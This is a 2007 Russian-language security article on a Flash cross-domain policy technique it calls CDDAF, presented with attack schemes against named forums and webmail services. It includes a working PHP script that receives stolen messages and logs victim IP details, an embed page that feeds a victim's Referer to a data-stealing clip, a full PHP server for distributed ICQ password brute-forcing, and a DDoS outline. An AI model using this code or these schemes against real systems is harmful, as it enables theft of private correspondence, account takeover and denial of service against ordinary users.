Статья описывает новый тип уязвимостей с использованием Flash. В теоретической части описываются идеи ее реализации, присутствует немного теории о Flash, которая необходима для практической реализации уязвимости. В практической части описываются примеры различного использования уязвимости: - Кража приватной информации на примере популярных форумных движков и почтовых сервисов - Распределенный перебор паролей на примере icq.com - DDoS Теория атаки Введение Атака осуществляется посредством Flash Player. Для Flash Player действует ряд ограничений (sandbox security model), схожих с ограничениями для Java Applets, которые запрещают доступ к серверу, если его адрес не совпадает с адресом сервера, на котором находится клип. Суть атаки заключается в расширении sandbox (снятии ограничений на доступ к внешним данным) Flash Player для отправления произвольных данных уязвимому данной атаке серверу от лица жертвы. Не маловажно то, что с запросом отправляются и установленные для данного сервера cookies. О том, как расширить Sandbox будет рассказано далее. В общем случае проведение атаки выглядит следующим образом: жертва заходит на некий сайт и при этом загружает Flash клип, который делает запрос на расширение Sandbox серверу и, если все прошло успешно, начинает посылать запросы данному серверу, обрабатывать ответы, если необходимо пересылать их другому серверу. Данная уязвимость может быть использована для кражи приватной информации пользователей, DDoS, накрутки голосований, счетчиков, распределенного подбора паролей и т. д. Ниже приведена общая схема проведения атаки. Схема. Принцип действия атаки Данная уязвимость схожа с CSRF и XSS, при этом имеет преимущества обоих: возможность посылать запросы серверам (не только на 80 порт) и обрабатывать ответ. Поэтому атаку возможно осуществить и при наличии такой защиты от CSRF, как добавление уникального параметра к каждому запросу. Уязвимость не является частным случаем CSRF, т. к. с ее помощью мы не только посылаем запросы сторонним серверам, но и получаем ответ сервера, имеем возможность его обрабатывать. Данную уязвимость я назвал Cross-Domain Data Access via Flash (CDDAF). Расширение Sandbox Для снятия ограничений (расширения Sandbox) необходимо расположить на сервере, к которому необходимо получить доступ, cross-domain policy файл (далее сертификат), являющийся простым XML файлом. Сертификат должен содержать примерно следующее: Данный policy file разрешает доступ к серверу клипам, загруженным с www.site.com. Чтобы клипы с любых доменов имели доступ к серверу значение атрибута domain должно быть "*". Чтобы разрешить клипу, полученному по HTTP протоколу, импортировать данные при помощи HTTPS, значение атрибута secure должно быть false (по умолчанию true). Пример сертификата, разрешающего внешний доступ к страницам по протоколам HTTP и HTTPS: Для сокетов для доступа к портам сервера номером более 1024 (доступ к стандартным портам закрыт, но и это ограничение можно снять), предусмотрен атрибут to-ports, значением которого могут быть конкретный порт, диапазон (например "3000-3010") или "*" (>1024). Для доступа к стандартным портам сертификат должен быть получен с порта с номером, не превышающим 1024. Сертификат, загруженный с порта, номер которого больше 1024, или по HTTP, не может дать допуск на подключение к стандартным портам. Подробнее: http://www.adobe.com/go/tn_14213 Таким образом, разместив на сайте приведенный выше XML код или клип, мы можем посылать данному сайту произвольные запросы от лица жертвы. Следует отметить, что многие HTTP заголовки средствами Flash изменить нельзя. Ниже приведены данные заголовки (для Flash Player 9): Для расширения Sandbox используется метод loadPolicyFile(policyFile:String). При этом имя и расширение файла сертификата не имеют значения, сертификат даже может содержать посторонние данные ("мусор"). Для размещения кода сертификата на сайте есть несколько общих способов: > Вложения (attachments) - для форумов, почтовых веб сервисов > XSS - вставка на уязвимой странице кода сертификата Примечание. Иногда выгоднее использовать XSS "традиционными" способами, например, если XSS выглядит следующим образом: http://site.com/dir1/dir2/scr?param=[XSS], то мы сможем получить доступ только к http://site.com/dir1/dir2/* и site.com:1024+ > Аватары, фото, и т. д. Примечание. Здесь меня постигло разочарование: иногда ссылка на изображение имеет следующий вид (пример для vBulletin): http://site.com/vb/image.php?u=1234&dateline=123456789 Видно, что если поместить в изображение код сертификата, мы сможем получить доступ к http://site.com/vb/*, но Flash Player не считывает данные после символа конца строки. Поэтому код сертификата должен находиться перед данным символом. Однако, зачастую существует проверка размеров загружаемой картинки, которая обычно заключается в чтении нескольких начальных байт изображения. Покажу на примере формата GIF. Структура GIF файла Как видно, для ширины и высоты изображения зарезервировано по 2 байта с 6-го по 9-ый включительно. Чтобы ни один из зарезервированных байтов не был null-байтом, размеры изображения должны быть 0101h x 0101h или в десятичной системе счисления 257 x 257. Таким образом, мы сможем вставить код сертификата в картинку, минимальный размер которой 257 x 257 (т. е. как аватар такое изображение загрузить в большинстве случаев не удастся). С другими графическими форматами дела обстоят аналогичным образом. > Возможно, сертификат уже находится на сервере. Например, иногда в корне сайта имеется необходимый нам файл crossdomain.xml (часто со значением атрибута domain *). Пример - icq.com Иногда возможно расположить клип на сервере, к которому необходимо послать запрос. Тогда, если клип расположен не в корневой директории, он сможет работать только со страницами, расположенными в одной директории (или поддиректориях) с ним. Замечание. В этом случае возможно также выполнение javascript, например, при помощи функции getURL() или метода call() класса ExternalInterface. В настоящее время уязвимы web email сервисы(yahoo.com, hotmail.com, icqmail.com, mail.ru, pochta.ru, gmail.com), некоторые популярные форумные движки (Invision Power Board, vBulletin, SMF) и др. Примеры практического применения Для эксплуатации уязвимости необходимо разместить код сертификата на сервере, получить его адрес. На основании данного адреса определяем, к какой части сайта мы получим доступ. Если все устраивает, создаем Flash клип, который выполнит необходимые нам действия от лица загрузившего. Далее в статье будут рассмотрены примеры кражи приватной информации (PM, DB; на примере форумов и почтовых сервисов), распределенного перебора паролей, DDoS. Форумы Схема проведения CSREF следующая: размещаем на форуме код сертификата (в attachment), даем жертве ссылку на сайт с клипом, который загрузит размещенный нами сертификат, выполнит от лица жертвы некие действия, если необходимо отправит полученные данные. В общем случае при краже личных сообщений (или писем с email сервиса) загруженный Flash Movie выполняет следующие действия (исключение vBulletin): 1. Загружает сертификат / расширяет Sandbox 2. Загружает страницы со списками сообщений (inbox, sent, etc) 3. Парсит полученные данные на предмет ссылок на сообщения, добавляет их в общий массив, удаляя повторяющиеся 4. Загружает некоторое количество сообщений в память 5. Отправляет их скрипту-приёмнику 6. 4 + 5 пока не закончатся ссылки Код на PHP скрипта-приёмника для всех приведенных далее примеров один: PHP: <?php set_time_limit(0); error_reporting(E_ALL ^ E_NOTICE); if($_POST['data']) { if(strlen($_POST['data']) > 3000000) exit; $date = date('d M Y, H:i:s'); $clientInfo = <<<INFO <table style='background: #800000; font-family: Verdana; font-size: 10; color: #ffffff;' width=100% border=1 cellpadding=2 cellspacing=0> <tr> <td colspan=5><center><b>Information about sender</b></center></td> </tr><tr> <td><b>Date:</b> {$date}</td> <td><b>Ip:</b> {$_SERVER['REMOTE_ADDR']}</td> <td><b>X_Forwarded_For:</b> {$_SERVER['HTTP_X_FORWARDED_FOR']}</td> <td><b>Client_Ip:</b> {$_SERVER['HTTP_CLIENT_IP']}</td> <td><b>Forwarded:</b> {$_SERVER['HTTP_FORWARDED']}</td> </tr><tr> <td colspan=2><b>Referer:</b> {$_SERVER['HTTP_REFERER']}</td> <td colspan=3><b>User-Agent:</b> {$_SERVER['HTTP_USER_AGENT']}</td> </tr> </table> INFO; $handle = fopen($_SERVER['REMOTE_ADDR'] . '.html', 'a'); fwrite($handle, $clientInfo . stripslashes(urldecode($_POST['data'])) . '<br><br>'); fclose($handle); } ?> Данный скрипт записывает значение $_POST['data'] и некоторую информацию о клиенте в файл $_SERVER['REMOTE_ADDR'] . '.html' Файлы, созданные данным скриптом, следует открывать с осторожностью, т. к. жертва может, например, послать HTML код какого-нибудь внешнего элемента, Javascript код и т. д. и получить IP злоумышленника. Invision Power Board В панель администратора попасть не удастся, т. к. доступ туда осуществляется по паролю/сессии, сессия админа хранится в cookies (ipb_admin_session_id), однако она не используется. В версиях 2.2, 2.3 кусок кода, отвечающий за аутентификацию, используя ipb_admin_session_id, был закомментирован: По умолчанию, к своему сообщению можно прикреплять файлы определенного размера и расширения. Загруженные файлы хранятся в БД и извлекаются сценарием index.php. При этом: > Скрипт index.php, передающий содержание изображения находится в корне форума. Ссылка на загруженный файл имеет примерно следующий вид: http://site.com/forum/index.php?act=attach&type=post&id=2 > Прикрепляемый файл может содержать произвольный XML код Таким образом, имеются все условия для проведения атаки. Мы можем посылать запросы от лица пользователя, загрузившего клип. При этом, как и отмечалось ранее, передаются cookies, установленные для данного сайта. Ниже приведен код на ActionScript для кражи всех приватных сообщений пользователя, загрузившего Flash клип. Клип получает параметры, используя FlashVars. Параметры: · policyFileUrl - адрес прикрепленного файла с кодом сертификата · dataReceiverUrl - адрес скрипта-приемника. Он должен находиться в одной директории с клипом · [optional] messagesUntilDump - число сообщений в одном дампе Требования: · Flash Player 8+ · Javascript Пример вставки клипа на страницу (все & в параметрах-ссылках лучше заменить на %26) Принцип действия данного клипа показан на схеме в начале статьи. В одной директории с данным клипом должен находиться скрипт-приёмник (cDataReceiver.php; код приводился ранее)
SMF При любом действии в панели администратора проверяется значение Referer'a. В последней версии Flash Player значение данного заголовка изменить нельзя: браузер посылает Referer страницы с Flash клипом. Но все же атаку можно осуществить, если жертва использует Mozilla Firefox, т. к. в данном браузере Flash Player не посылает заголовка Referer при GET запросах (в отличие от IE и Opera). Код для кражи базы данных (работает только в Mozilla Firefox) Параметры: · policyFileUrl · dataReceiverUrl Требования: · Flash Player 7+ Код для кражи всех Inbox/Sent приватных сообщений пользователя [AS1/2] Параметры: · policyFileUrl · dataReceiverUrl · [optional] messagesUntilDump Требования: · Flash Player 8+ · Javascript vBulletin В данном форуме проверяется значение Referer'a при POST запросах, поэтому сделать что-либо в админ панели не удастся. Украсть приватные сообщения в данном форуме очень просто: разработчики предусмотрели возможность скачать все свои PM, этим и воспользуемся. Код для кражи всех приватных сообщений Параметры: · policyFileUrl · dataReceiverUrl Требования: · Flash Player 7+ phpBB Данный форум уязвим при наличии attach (download) мода. Проверка Referer отсутствует, поэтому возможны любые действия. Ниже приведен код для кражи базы данных форума. Параметры: · policyFileUrl · dataReceiverUrl Требования: · Flash Player 8+ · Javascript Почтовые сервисы Для почтовых сервисов схема проведения CSREF немного сложнее, чем для форумов, выглядит она следующим образом: жертве посылается письмо с прикрепленным файлом, содержащим код сертификата (либо отправляется HTML письмо, содержащее данный код, если он не фильтруется) и ссылка на сайт. Когда жертва переходит по ссылке, передается Referer, содержащий адрес письма. Flash клип, исходя из этого адреса, формирует адрес прикрепленного к письму файла. Жертва загружает клип, который на основе переданного адреса (иногда можно передавать адрес самого письма, содержащего код сертификата) расширяет Sandbox и ворует все письма. Для получения referrer от жертвы можно использовать не только ссылку. Схема. CDDAF на почтовых сервисах: mail.ru Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS1/2] Параметры: · dataReceiverUrl · [optional] messagesUntilDump Требования: · Flash Player 8+ · Javascript Параметры: · dataReceiverUrl · [optional] messagesUntilDump Требования: · Flash Player 9+ · Javascript (от данного требования можно избавиться, если передавать Referer параметром посредством FlashVars)
yahoo.com Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Bulk, Trash [AS1/2] Параметры: · dataReceiverUrl · [optional] messagesUntilDump Требования: · Flash Player 8+ · Javascript pochta.ru Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3] Параметры: · dataReceiverUrl · [optional] messagesUntilDump Требования: · Flash Player 9+ · Javascript Необходимый класс [LoadUrl.as]: rambler.ru Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3] Параметры: · dataReceiverUrl · [optional] messagesUntilDump Требования: · Flash Player 9+ · Javascript В примере используется класс LoadUrl такой же, как и для gmail.com (см. далее) icqmail.com На данном почтовом сервере присутствует описанная уязвимость, однако в ходе проверки обнаружились еще 3 активных XSS (поля from, to, cc), множество пассивных, поэтому писать exploit для данного сервиса я не стал, ибо использование активных XSS в данном случае эффективнее. gmail.com Данный почтовый сервис уязвим, если используется "Gmail's basic HTML view" (при отключенном Javascript). При переходе по ссылке в теле письма передается Referer. На основании двух параметров из Referer формируем адрес attachment. Exploit придется писать на AS3, т. к. понадобятся регулярные выражения без использования Javascript. Referer необходимо будет передавать клипу параметром, например, используя PHP + FlashVars. Gmail's basic HTML view - http://mail.google.com/mail/h/ Код для кражи всех писем в директориях All Mail, Trash + contacts [AS3] Параметры: · Referer - адрес присланного жертве письма · dataReceiverUrl · [optional] messagesUntilDump Требования: · Flash Player 9+ Необходимый класс [LoadUrl.as]: Пример запуска на PHP: PHP: <?php $referer = urlencode($_SERVER['HTTP_REFERER']); ?> <OBJECT id="fl" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <PARAM name="movie" value="fl.swf"> <PARAM name="FlashVars" value="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>"> <EMBED name="fl" src="fl.swf" FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>" width="1" height="1" swLiveConnect="true" pluginspace="http://www.macromedia.com/go/flashplayer/"> </EMBED> </OBJECT> При просмотре результатов использовать кодировку UTF-8 От необходимости поддержки браузером жертвы Javascript можно избавиться: для этого exploits надо писать на AS3, Referer получать используя, например, PHP, передавать его клипу посредством FlashVars (см. пример gmail.com) Для проверки почтовых сервисов на XSS, CDDAF рекомендую использовать обновленную версию cXssTester. Для поиска XSS посылаем письмо на свой почтовый ящик и смотрим исходный код полученного письма, ищем недостатки в фильтрации. Для проверки на наличие CDDAF смотрим, возможно ли получить адрес прикрепленных к письму файлов или самого письма. Это можно сделать, получив Referer от жертвы, поэтому необходимо проверить, передается ли он при переходе по ссылке из письма, загружаются ли внешние HTML элементы. Также необходимо обратить внимание на наличие / отсутствие фильтрации кода сертификата в теле письма.
Пример распределенного перебора паролей (icq.com) Рассмотрим распределенный перебор паролей на основе CDDAF на примере icq.com. Как я уже отмечал ранее, на сервере может присутствовать необходимый нам файл сертификата, причем неправильно настроенный (domain="*"). Яркий пример - icq.com (http://icq.com/crossdomain.xml). Можно написать icq bruteforcer на основе сервиса ICQ2Go: клиентскую часть на AS1/2, серверную на PHP. В данном случае распределенный перебор паролей будет очень похож на сеть распределенного вычисления: клиент будет получать от сервера задание (пары uin-password), проверять их, отправлять результат серверу. Сервер будет выдавать клиентам задания (если клиент не посылает результат проверки в течение некоторого времени (clientTimeout), сервер отдаст это задание другому клиенту), записывать результаты, текущие параметры процесса перебора. Скорость перебора будет зависить от числа клиентов (например, если разместить клиент на нескольких сайтах, то чем больше их суммарный online, тем выше скорость). Сразу отмечу, что после нескольких неудачных попыток аутентификации сервер icq блокирует клиента на некоторое время, поэтому для приемлемой скорости перебора необходим большой online (также необходимо правильно настроить таймауты в клиентской части). В коде клиента я оставил информационные сообщения, их можно убрать (удалить строки вида st.text = "text" Клиент Сервер на PHP: PHP: <?php /* Server for cIcqBrute by Cenarius Email: ooohoow@gmail.com | Icq: 100732 Version: 0.1 */ // -------------------------------- // Config // -------------------------------- $comboFile = 'cmb.txt'; // File with combo (uin:password) $goodFile = 'good.txt'; // File for dumping good combo $tmpFile = 'combo_tmp.txt'; // File for writing temporary info of bruteforcing process $comboPerClient = 2; // Number of combo in one client's task $clientTimeout = 300; // Client timeout (seconds) // -------------------------------- set_time_limit(0); error_reporting(E_ALL ^ E_NOTICE); if(!isset($_POST['id']) or !isset($_POST['good'])) { echo '<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>'."\"; exit(); } if($_POST['id']) { $tmpContent = file($tmpFile); $clientCombo = parseTmp($tmpContent); $comboOffset = trim($tmpContent[0]); $clientCombo[(int)$_POST['id']] = 'del'; updateTmp($clientCombo, $comboOffset); } if($_POST['good']) { $gHandle = fopen($goodFile, "a"); fwrite($gHandle, implode("\n", explode(chr(182), stripslashes($_POST['good'])))); fclose($gHandle); } if(!file_exists($comboFile) || !is_readable($comboFile)) { exit("- Error: can't open/read <b>$comboFile</b>"); } if(!file_exists($tmpFile) || filesize($tmpFile) == 0) { $comboOffset = 0; } else { $tmpContent = file($tmpFile); $clientCombo = parseTmp($tmpContent); $comboOffset = trim($tmpContent[0]); if($clientCombo) { foreach(array_keys($clientCombo) as $liveTime) { if(time() > $liveTime) { list($offset, $amount) = split(':', $clientCombo[$liveTime]); sliceCombo($offset, $amount); $clientCombo[$liveTime] = 'del'; $id = time() + $clientTimeout; echo '&expires=' . $id . "\"; $clientCombo[$id] = $offset . ':' . $amount; updateTmp($clientCombo, $comboOffset); exit(); } } } } $newOffset = sliceCombo($comboOffset, $comboPerClient); $id = time() + $clientTimeout; echo '&expires=' . $id . "\"; $clientCombo[$id] = $comboOffset . ':' . $comboPerClient; updateTmp($clientCombo, $newOffset); function parseTmp($tmpContent) { $comboOffset = trim(array_shift($tmpContent)); if(!$comboOffset) { exit(" - Error: wrong tmp file: <b>$tmpFile</b><br> Repair or delete it"); } foreach($tmpContent as $str) { if(preg_match("/(\d+)\t(\d+:\d+)\n/", $str, $matches)) { $clientCombo[$matches[1]] = $matches[2]; } } return $clientCombo; } function sliceCombo($offset, $amount) { global $comboFile; $handle = fopen($comboFile, "r") or exit(); if(fseek($handle, $offset) == -1) { exit(); } $answer = 'cmb='; for($i = 1; $i <= $amount; $i++) { $answer .= trim(fgets($handle)) . chr(182); } $answer = preg_replace("/".chr(182)."$/", "", $answer); echo $answer; $newOffset = ftell($handle); fclose($handle); return $newOffset; } function updateTmp($data, $mainOffset) { global $tmpFile; $tmpHandle = fopen($tmpFile, "w"); fwrite($tmpHandle, $mainOffset . "\n"); foreach(array_keys($data) as $liveTime) { if($data[$liveTime] != 'del') { fwrite($tmpHandle, $liveTime . "\t" . $data[$liveTime] . "\n"); } } fclose($tmpHandle); } ?> Пример DDoS Приведу простейший пример реализации DDoS на AS3. Клиент будет в некоторое количество потоков посылать серверу запрос и разрывать соединение. Для этого я написал класс на основе URLLoader [DDoS.as]: Пример использования: Полученный клип можно расположить на множестве сайтов: чем больше суммарный online, тем больше шансов на успех. Трудности при написании exploits При написании эксплоитов для описанной уязвимости важно стремиться к максимальной универсальности, кросс-браузерности. При этом и возникают проблемы из-за того, что клиенты используют разные браузеры, разные версии Flash Player. Часто приходится использовать регулярные выражения, однако поддержка RegExp появилась только с Flash Player 9. Использовать RegExp в предыдущей версии плеера можно посредством вызова Javascript (класс ExternalInterface). Таким образом, если при написании exploit необходимо использовать регулярные выражения, есть два выхода: > Использовать RegExp Javascript'a через класс ExternalInterface: + Работа в Flash Player 8+ - Необходимость поддержки браузером клиента Javascript > Использовать RegExp в ActionScript 3: + Не требуется поддержка Javascript - Работа только в Flash Player 9+ Примеры использования обоих методов были приведены разделе о практическом применении уязвимости. Заключение На мой взгляд, в настоящее время хакеры для своих целей в основном используют Javascript, однако возможности Flash намного его превосходят(особенно с появлением ActionScript 3) Надеюсь, данная статья это продемонстрировала. Были рассмотрены наиболее общие способы применения уязвимости, однако только ими ее использование не ограничивается. Скачать исходные коды скриптов Статья взята с сайта www.securitylab.ru Author: Cenarius Email: ooohoow@gmail.com Icq: 100732 Date: 26 July 2007